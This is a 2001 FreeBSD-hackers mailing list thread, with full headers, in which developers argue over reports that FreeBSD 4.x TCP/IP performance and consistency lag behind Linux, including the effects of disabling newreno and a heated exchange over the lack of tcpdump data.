28 Nov 2001 00:51:11 -0700 To: Poul-Henning Kamp Cc: nate@yogotech.com (Nate Williams), Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <25429.1006933507@critter.freebsd.dk> References: <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > >Note, some of the performance issues were made better by disabling the > >TCP newreno implementation, but it's still poor and very inconsistent > >for hosts not on the local network, while the Linux box next to it gets > >much more consistent results. > > For what it's worth I have disabled newreno at my customer sites as well > and felt and heard less "bogosity" since. It's actually pretty awful. However, even with the fix I merged back into RELENG_4, the performance with/without newreno is still *much* worse (in terms of consistantly giving the same results) than the code in FreeBSD 3.x. The interesting thing is that the application that's getting the most press is one of our field technicians downloading a file over anonymous ftp by hand, so it's not like we're generating tons of traffic, or alot of parallel connections. The connections hang, abort, and those that complete have numbers that are *all* over the map. However, when connected to a Linux box on the same network, none of these bad things occur. :( (And, we've verified the network is up by running ping in another window.) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:52:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 5534A37B429; Tue, 27 Nov 2001 23:52:12 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 73A1C78566; Wed, 28 Nov 2001 18:22:10 +1030 (CST) Date: Wed, 28 Nov 2001 18:22:10 +1030 From: Greg Lehey To: Wes Peters Cc: Nate Williams , developers@FreeBSD.org, hackers@FreeBSD.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128182210.I61580@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128015614.32e30d8b.wes@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011128015614.32e30d8b.wes@softweyr.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wednesday, 28 November 2001 at 1:56:14 -0700, Wes Peters wrote: > On Wed, 28 Nov 2001 00:41:18 -0700 > "Nate Williams" wrote: > >> >> FWIW, I'm seeing this as well. However, this appears to be a new >> occurance, as we were using a FreeBSD 3.X system for our reference test >> platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting >> nothing but complaints about broken connections, poor performance, and >> very inconsistent results. >> >> They are now considering installing Linux on this box with the hope that >> they can get consistent results. (Unfortunately, FreeBSD 3.X is out >> because I convinced them that we needed to upgrade to 4.X due to >> security measures, so we can't go back.) > > And they somehow think any variant of Linux is going to be better on > this point? My recent experience with Linux would say otherwise, > but that was on an Intel Architecture Labs variant that is somewhat > out of date, too. Well, it ties in with Richard's experience. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:56:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 2D4FC37B405; Tue, 27 Nov 2001 23:56:13 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id AAA21526; Wed, 28 Nov 2001 00:56:06 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAS7u2N12158; Wed, 28 Nov 2001 00:56:02 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15364.39058.354066.940245@caddis.yogotech.com> Date: Wed, 28 Nov 2001 00:56:02 -0700 To: Wes Peters Cc: nate@yogotech.com (Nate Williams), grog@lemis.com, developers@FreeBSD.org, hackers@FreeBSD.org Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011128015614.32e30d8b.wes@softweyr.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128015614.32e30d8b.wes@softweyr.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > FWIW, I'm seeing this as well. However, this appears to be a new > > occurance, as we were using a FreeBSD 3.X system for our reference test > > platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting > > nothing but complaints about broken connections, poor performance, and > > very inconsistent results. > > > > They are now considering installing Linux on this box with the hope that > > they can get consistent results. (Unfortunately, FreeBSD 3.X is out > > because I convinced them that we needed to upgrade to 4.X due to > > security measures, so we can't go back.) > > And they somehow think any variant of Linux is going to be better on > this point? More to the point, it *IS* better with Linux. :( (At least, comparing the latest FreeBSD with the 'latest' version of some release of Linux. I'm not sure if it's Mandrake, or RedHat, or what. I wasn't involved in that end of things.) I'm still trying to figure out if it's some simple configuration that's causing the problems, but the field trial folks are starting to get annoyed with my constant 'excuses' as to why we shouldn't just switch to Linux. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0: 0:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 317E637B417; Wed, 28 Nov 2001 00:00:10 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id E3B5381D01; Wed, 28 Nov 2001 02:00:09 -0600 (CST) Date: Wed, 28 Nov 2001 02:00:09 -0600 From: Alfred Perlstein To: Nate Williams Cc: Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128020009.B46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15364.38174.938500.946169@caddis.yogotech.com>; from nate@yogotech.com on Wed, Nov 28, 2001 at 12:41:18AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Nate Williams [011128 01:41] wrote: > > I know my lack of information isn't helping much, and that I've not done > much to help debug the problem. However, all my attempts to track down > what is causing this from a high-level (w/out digging into the code > itself and analyzing tcpdump output) have come up empty. It's not only not helping much, but it's pretty lame: .) You won't run tcpdump. .) You won't look at the code. .) You won't give good details. Is there anything else you can do other than to possibly spread FUD about FreeBSD's network performance? Get off your behind and do some serious investigation (I'm pretty certain you're capable of it) and we'll be able to work this out in no time. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0: 2:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id F181337B416; Wed, 28 Nov 2001 00:02:33 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id D06F878563; Wed, 28 Nov 2001 18:32:31 +1030 (CST) Date: Wed, 28 Nov 2001 18:32:31 +1030 From: Greg Lehey To: Nate Williams , Poul-Henning Kamp , Wes Peters , Richard Sharpe Cc: developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128183231.J61580@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128015614.32e30d8b.wes@softweyr.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <15364.38767.82340.347344@caddis.yogotech.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15364.39058.354066.940245@caddis.yogotech.com> <20011128182210.I61580@monorchid.lemis.com> <20011128015614.32e30d8b.wes@softweyr.com> <15364.38767.82340.347344@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <15364.38174.938500.946169@caddis.yogotech.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I think I made a mistake by not opening this immediately. Certainly I haven't seen any particularly animosity here so far, and Richard can defend himself, so: FreeBSD hackers, meet Richard Sharpe. Richard, meet the hackers. As I said, Richard's a member of the Samba team. He's also going to be working on FreeBSD in the foreseeable future, so his intentions here are completely honourable :-) He's sent me the report, but since I didn't say I would send it to the entire development team, I'll wait for his go-ahead (and the reply to a couple of questions) before sending it on. Greg On Wednesday, 28 November 2001 at 0:41:18 -0700, Nate Williams wrote: >> I've just been talking with a friend of mine from the Samba team. >> He's about to change jobs, and a lot of his work in future will >> involve FreeBSD. He's just been doing some performance testing, and >> while the numbers are pretty even (since he discovered soft updates >> :-), he's noticing some significant performance differences, >> particularly on the TCP/IP area. > > FWIW, I'm seeing this as well. However, this appears to be a new > occurance, as we were using a FreeBSD 3.X system for our reference test > platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting > nothing but complaints about broken connections, poor performance, and > very inconsistent results. > > They are now considering installing Linux on this box with the hope that > they can get consistent results. (Unfortunately, FreeBSD 3.X is out > because I convinced them that we needed to upgrade to 4.X due to > security measures, so we can't go back.) > > Note, some of the performance issues were made better by disabling the > TCP newreno implementation, but it's still poor and very inconsistent > for hosts not on the local network, while the Linux box next to it gets > much more consistent results. > > I know my lack of information isn't helping much, and that I've not done > much to help debug the problem. However, all my attempts to track down > what is causing this from a high-level (w/out digging into the code > itself and analyzing tcpdump output) have come up empty. This is obviously something *somebody* (not me) should look in to. On Wednesday, 28 November 2001 at 0:51:11 -0700, Nate Williams wrote: > On Wednesday, 28 November 2001 at 8:45:07 +0100, Poul-Henning Kamp wrote: >> In message <15364.38174.938500.946169@caddis.yogotech.com>, Nate Williams writes: >>> Note, some of the performance issues were made better by disabling the >>> TCP newreno implementation, but it's still poor and very inconsistent >>> for hosts not on the local network, while the Linux box next to it gets >>> much more consistent results. >> >> For what it's worth I have disabled newreno at my customer sites as well >> and felt and heard less "bogosity" since. > > It's actually pretty awful. However, even with the fix I merged back > into RELENG_4, the performance with/without newreno is still *much* > worse (in terms of consistantly giving the same results) than the code > in FreeBSD 3.x. > > The interesting thing is that the application that's getting the most > press is one of our field technicians downloading a file over anonymous > ftp by hand, so it's not like we're generating tons of traffic, or > alot of parallel connections. > > The connections hang, abort, and those that complete have numbers that > are *all* over the map. However, when connected to a Linux box on the > same network, none of these bad things occur. :( > > (And, we've verified the network is up by running ping in another > window.) On Wednesday, 28 November 2001 at 18:22:10 +1030, Greg Lehey wrote: > On Wednesday, 28 November 2001 at 1:56:14 -0700, Wes Peters wrote: >> On Wed, 28 Nov 2001 00:41:18 -0700 >> "Nate Williams" wrote: >> >>> >>> FWIW, I'm seeing this as well. However, this appears to be a new >>> occurance, as we were using a FreeBSD 3.X system for our reference test >>> platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting >>> nothing but complaints about broken connections, poor performance, and >>> very inconsistent results. >>> >>> They are now considering installing Linux on this box with the hope that >>> they can get consistent results. (Unfortunately, FreeBSD 3.X is out >>> because I convinced them that we needed to upgrade to 4.X due to >>> security measures, so we can't go back.) >> >> And they somehow think any variant of Linux is going to be better on >> this point? My recent experience with Linux would say otherwise, >> but that was on an Intel Architecture Labs variant that is somewhat >> out of date, too. > > Well, it ties in with Richard's experience. On Wednesday, 28 November 2001 at 0:56:02 -0700, Nate Williams wrote: >>> FWIW, I'm seeing this as well. However, this appears to be a new >>> occurance, as we were using a FreeBSD 3.X system for our reference test >>> platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting >>> nothing but complaints about broken connections, poor performance, and >>> very inconsistent results. >>> >>> They are now considering installing Linux on this box with the hope that >>> they can get consistent results. (Unfortunately, FreeBSD 3.X is out >>> because I convinced them that we needed to upgrade to 4.X due to >>> security measures, so we can't go back.) >> >> And they somehow think any variant of Linux is going to be better on >> this point? > > More to the point, it *IS* better with Linux. :( > > (At least, comparing the latest FreeBSD with the 'latest' version of > some release of Linux. I'm not sure if it's Mandrake, or RedHat, or > what. I wasn't involved in that end of things.) > > I'm still trying to figure out if it's some simple configuration that's > causing the problems, but the field trial folks are starting to get > annoyed with my constant 'excuses' as to why we shouldn't just switch to > Linux. -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0: 3:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 75BFC37B417; Wed, 28 Nov 2001 00:03:21 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 41F9F81D01; Wed, 28 Nov 2001 02:03:21 -0600 (CST) Date: Wed, 28 Nov 2001 02:03:21 -0600 From: Alfred Perlstein To: Greg Lehey Cc: developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128020321.C46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011128153817.T61580@monorchid.lemis.com>; from grog@lemis.com on Wed, Nov 28, 2001 at 03:38:17PM +1030 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Greg Lehey [011127 23:08] wrote: > I've just been talking with a friend of mine from the Samba team. > He's about to change jobs, and a lot of his work in future will > involve FreeBSD. He's just been doing some performance testing, and > while the numbers are pretty even (since he discovered soft updates > :-), he's noticing some significant performance differences, > particularly on the TCP/IP area. > > He is going to be sending me a copy of his preliminary report later > today, and he doesn't mind sharing it. I'm a little concerned about > the "Them vs. Us" attitude such a report could cause. He's not out to > show that Linux is better than FreeBSD; on the contrary, he would be a > lot happier if the results were in favour of FreeBSD, since otherwise > he has to do something about it. I'd like a few of us to take a look > at what he's done first, and either point out where he can tune the > FreeBSD system, or how to find and eliminate the bottlenecks. Who's > interested? I'm somewhat interested, it obviously depends on the level of detail and depth of this report, if it's as shallow as your and Nate's 'rumors' then I probably won't be able to help as I'll be too busy switching all my machines over to Linux rather than doing the legwork to get down to the bottom of this alleged performance problem. :P -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0: 7:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id A69CD37B416; Wed, 28 Nov 2001 00:07:07 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id F3EE278566; Wed, 28 Nov 2001 18:37:05 +1030 (CST) Date: Wed, 28 Nov 2001 18:37:05 +1030 From: Greg Lehey To: Alfred Perlstein Cc: developers@FreeBSD.org, FreeBSD Hackers , Richard Sharpe Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128183705.L61580@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> <20011128020321.C46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011128020321.C46769@elvis.mu.org> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wednesday, 28 November 2001 at 2:03:21 -0600, Alfred Perlstein wrote: > * Greg Lehey [011127 23:08] wrote: >> I've just been talking with a friend of mine from the Samba team. >> He's about to change jobs, and a lot of his work in future will >> involve FreeBSD. He's just been doing some performance testing, and >> while the numbers are pretty even (since he discovered soft updates >> :-), he's noticing some significant performance differences, >> particularly on the TCP/IP area. >> >> He is going to be sending me a copy of his preliminary report later >> today, and he doesn't mind sharing it. I'm a little concerned about >> the "Them vs. Us" attitude such a report could cause. He's not out to >> show that Linux is better than FreeBSD; on the contrary, he would be a >> lot happier if the results were in favour of FreeBSD, since otherwise >> he has to do something about it. I'd like a few of us to take a look >> at what he's done first, and either point out where he can tune the >> FreeBSD system, or how to find and eliminate the bottlenecks. Who's >> interested? > > I'm somewhat interested, it obviously depends on the level of detail > and depth of this report, if it's as shallow as your and Nate's > 'rumors' then I probably won't be able to help as I'll be too busy > switching all my machines over to Linux rather than doing the legwork > to get down to the bottom of this alleged performance problem. That's uncalled for. I said that I had more information coming in, as you can see above, and Nate did apologize for lack of information. We don't always have the time to do the research we want. I certainly don't. Which would have been more useful: say to Richard "sorry, my plate's full", or "I can't help you, but I'll try to find people who aren't too aggressive to help you". Nate has given some information. You can't blame him for not having the time to do the legwork. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0:14:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id DB1AC37B419; Wed, 28 Nov 2001 00:14:43 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id BAA22330; Wed, 28 Nov 2001 01:14:36 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAS8EaX12338; Wed, 28 Nov 2001 01:14:36 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15364.40171.899975.611675@caddis.yogotech.com> Date: Wed, 28 Nov 2001 01:14:35 -0700 To: Alfred Perlstein Cc: Nate Williams , Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011128020009.B46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128020009.B46769@elvis.mu.org> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > I know my lack of information isn't helping much, and that I've not done > > much to help debug the problem. However, all my attempts to track down > > what is causing this from a high-level (w/out digging into the code > > itself and analyzing tcpdump output) have come up empty. > > It's not only not helping much, but it's pretty lame: > > .) You won't run tcpdump. I haven't been able to run tcpdump up till this point because the field trail folks won't tell me when they're running the tests. I haven't been able to get any real-world data (yet), and after the recent drubbing that Linux made, I may not get a chance because they're chomping at the bit to replace the box now. > .) You won't look at the code. Wrong. I've merged in bugfixes. But, I don't have time to walk through the entire TCP/IP stack trying to figure out what's changed between 3.X and 4.X to see what's changed. > .) You won't give good details. I'm telling you all the details I have. If I had better details, I'd have given them. I've not said anything up till this point because I haven't had good details, but Greg's post reflected the same sort of behavior I've been seeing, so I was simply agreeing with his unknown friend. > Is there anything else you can do other than to possibly spread FUD > about FreeBSD's network performance? You call it FUD, I call it real-world results. I'm not the only one who's seen these kinds of results. > Get off your behind and do some serious investigation (I'm pretty > certain you're capable of it) and we'll be able to work this out > in no time. It's not my problem, except because of my interest in making FreeBSD look good. Fighting for FreeBSD has created me more enemies than friends here, so I'm not doing myself any favors continually try to defend the numbers/results we're seeing. If you want me to shutup and go into a corner, it might make you feel better, but it certainly won't solve the real problem. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0:22:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 5695537B405; Wed, 28 Nov 2001 00:22:40 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 0866B81D04; Wed, 28 Nov 2001 02:22:40 -0600 (CST) Date: Wed, 28 Nov 2001 02:22:40 -0600 From: Alfred Perlstein To: Nate Williams Cc: Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128022239.E46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128020009.B46769@elvis.mu.org> <15364.40171.899975.611675@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15364.40171.899975.611675@caddis.yogotech.com>; from nate@yogotech.com on Wed, Nov 28, 2001 at 01:14:35AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Nate Williams [011128 02:14] wrote: > > If you want me to shutup and go into a corner, it might make you feel > better, but it certainly won't solve the real problem. I made it clear that my problem was not with the complaint itself. My problem with it was with the lack of technical backing or any real way for me to reproduce the problem. So no, I do not want you to shutup and go into a corner, I want you to get off your ass and gather us all up some useful information so that we can solve the problem. Lastly, if these people are intent on running Linnex, they'll spread however much FUD that they need to and provide as little information as possible in order to effect the switch. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0:28:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 1E0CF37B41A; Wed, 28 Nov 2001 00:28:24 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 6B58E78566; Wed, 28 Nov 2001 18:58:22 +1030 (CST) Date: Wed, 28 Nov 2001 18:58:22 +1030 From: Greg Lehey To: Alfred Perlstein Cc: Nate Williams , developers@FreeBSD.org, FreeBSD Hackers , Richard Sharpe Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128185822.N61580@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128020009.B46769@elvis.mu.org> <15364.40171.899975.611675@caddis.yogotech.com> <20011128022239.E46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011128022239.E46769@elvis.mu.org> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wednesday, 28 November 2001 at 2:22:40 -0600, Alfred Perlstein wrote: > * Nate Williams [011128 02:14] wrote: >> >> If you want me to shutup and go into a corner, it might make you feel >> better, but it certainly won't solve the real problem. > > I made it clear that my problem was not with the complaint itself. > > My problem with it was with the lack of technical backing or any > real way for me to reproduce the problem. So no, I do not want you > to shutup and go into a corner, I want you to get off your ass and > gather us all up some useful information so that we can solve the > problem. OK, we're agreed on that. So let's do it. > Lastly, if these people are intent on running Linnex, they'll spread > however much FUD that they need to and provide as little information > as possible in order to effect the switch. That in itself is FUD. I've been working a lot with Linux users, and one thing I've consistently found is the large number of people who are really interested in using FreeBSD as an alternative. Here in South Australia we've got to the point where the local Linux user group recognizes FreeBSD as a viable alternative. Yes, there are fanatics on both sides, but we should try to ignore them, or convince them of the errors of their ways. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0:29:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 53E3F37B503; Wed, 28 Nov 2001 00:28:43 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id BAA22910; Wed, 28 Nov 2001 01:28:37 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAS8Saj12439; Wed, 28 Nov 2001 01:28:36 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15364.41011.17856.165710@caddis.yogotech.com> Date: Wed, 28 Nov 2001 01:28:35 -0700 To: Alfred Perlstein Cc: Nate Williams , Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011128022239.E46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128020009.B46769@elvis.mu.org> <15364.40171.899975.611675@caddis.yogotech.com> <20011128022239.E46769@elvis.mu.org> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > If you want me to shutup and go into a corner, it might make you feel > > better, but it certainly won't solve the real problem. > > I made it clear that my problem was not with the complaint itself. No, you didn't. > My problem with it was with the lack of technical backing or any > real way for me to reproduce the problem. For what it's worth, I can't reproduce it either, but that's because of lack of resources, not ability. I don't have the necessary hardware/network connection to cause the weird behavior. If I did, I'd give you better information. However, I don't doubt they're seeing this behavior. They've got graphs and what behavior I could reproduce showed that things were indeed completely bogus. Disabling newreno fixed *those* problems I could fix. > to shutup and go into a corner, I want you to get off your ass and > gather us all up some useful information so that we can solve the > problem. No can do, sorry. > Lastly, if these people are intent on running Linnex, they'll spread > however much FUD that they need to and provide as little information > as possible in order to effect the switch. It's not FUD. These people aren't OS bigots, they're folks trying to get a job done. They could care less if the box was running WinNT, if it got the job done. (FWIW, the ftp client boxes are running NT and Win2K, which *may* have something to do with it, but I don't know, since I can't reproduce it. :() Basically, all I'm saying is that Greg's friend results are similar to what I'm seeing. What's causing this is unknown. If it was known I wouldn't have sent any messages out, since I could have fixed it myself. But, I can't, so you get a message saying 'Me Too', which isn't much help except to 